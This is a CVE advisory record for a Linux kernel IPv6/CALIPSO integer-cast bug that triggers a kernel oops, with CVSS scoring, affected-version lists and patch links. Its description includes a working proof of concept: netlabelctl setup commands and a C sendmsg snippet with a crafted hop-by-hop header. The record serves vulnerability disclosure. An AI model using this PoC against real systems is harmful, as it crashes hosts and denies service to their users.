ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

MITRE NVD CVE.ORG JSON API

Summary

CVECVE-2025-71085
StatePUBLISHED
AssignerLinux
Source PriorityCVE Program / NVD first with legacy fallback
Published2026-01-13 16:16:08 UTC
Updated2026-07-14 13:18:02 UTC
DescriptionIn the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

Risk And Classification

Primary CVSS: v3.1 5.5 MEDIUM from [email protected]

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Problem Types: CWE-617

CVSS v3.1 Breakdown

Attack Vector
Local
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

NVD Known Affected Configurations (CPE 2.3)

TypeVendorProductVersionUpdateEditionLanguage
Operating System Linux Linux Kernel All All All All

Vendor Declared Affected Products

SourceVendorProductVersionPlatforms
CNA Linux Linux affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 86f365897068d09418488165a68b23cb5baa37f2 git Not specified
CNA Linux Linux affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 6b7522424529556c9cbc15e15e7bd4eeae310910 git Not specified
CNA Linux Linux affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 2bb759062efa188ea5d07242a43e5aa5464bbae1 git Not specified
CNA Linux Linux affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 c53aa6a5086f03f19564096ee084a202a8c738c0 git Not specified
CNA Linux Linux affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 bf3709738d8a8cc6fa275773170c5c29511a0b24 git Not specified
CNA Linux Linux affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 73744ad5696dce0e0f43872aba8de6a83d6ad570 git Not specified
CNA Linux Linux affected 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 58fc7342b529803d3c221101102fe913df7adb83 git Not specified
CNA Linux Linux affected 4.8 Not specified
CNA Linux Linux unaffected 4.8 semver Not specified
CNA Linux Linux unaffected 5.10.248 5.10.* semver Not specified
CNA Linux Linux unaffected 5.15.198 5.15.* semver Not specified
CNA Linux Linux unaffected 6.1.160 6.1.* semver Not specified
CNA Linux Linux unaffected 6.6.120 6.6.* semver Not specified
CNA Linux Linux unaffected 6.12.64 6.12.* semver Not specified
CNA Linux Linux unaffected 6.18.4 6.18.* semver Not specified
CNA Linux Linux unaffected 6.19 * original_commit_for_fix Not specified
ADP Siemens SIMATIC S7-1500 CPU 1518-4 PN/DP MFP affected V3.1.6 * custom Not specified
ADP Siemens SIMATIC S7-1500 CPU 1518-4 PN/DP MFP affected V3.1.6 * custom Not specified
ADP Siemens SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP affected V3.1.6 * custom Not specified
ADP Siemens SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP affected V3.1.6 * custom Not specified
ADP Siemens SIPLUS S7-1500 CPU 1518-4 PN/DP MFP affected V3.1.6 * custom Not specified

References

ReferenceSourceLinkTags
git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
cert-portal.siemens.com/productcert/html/ssa-019113.html 0b142b55-0307-4c5a-b3c9-f314f3fb7c5e cert-portal.siemens.com
git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0 416baaa9-dc9f-4396-8d5f-8c081fb06d67 git.kernel.org Patch
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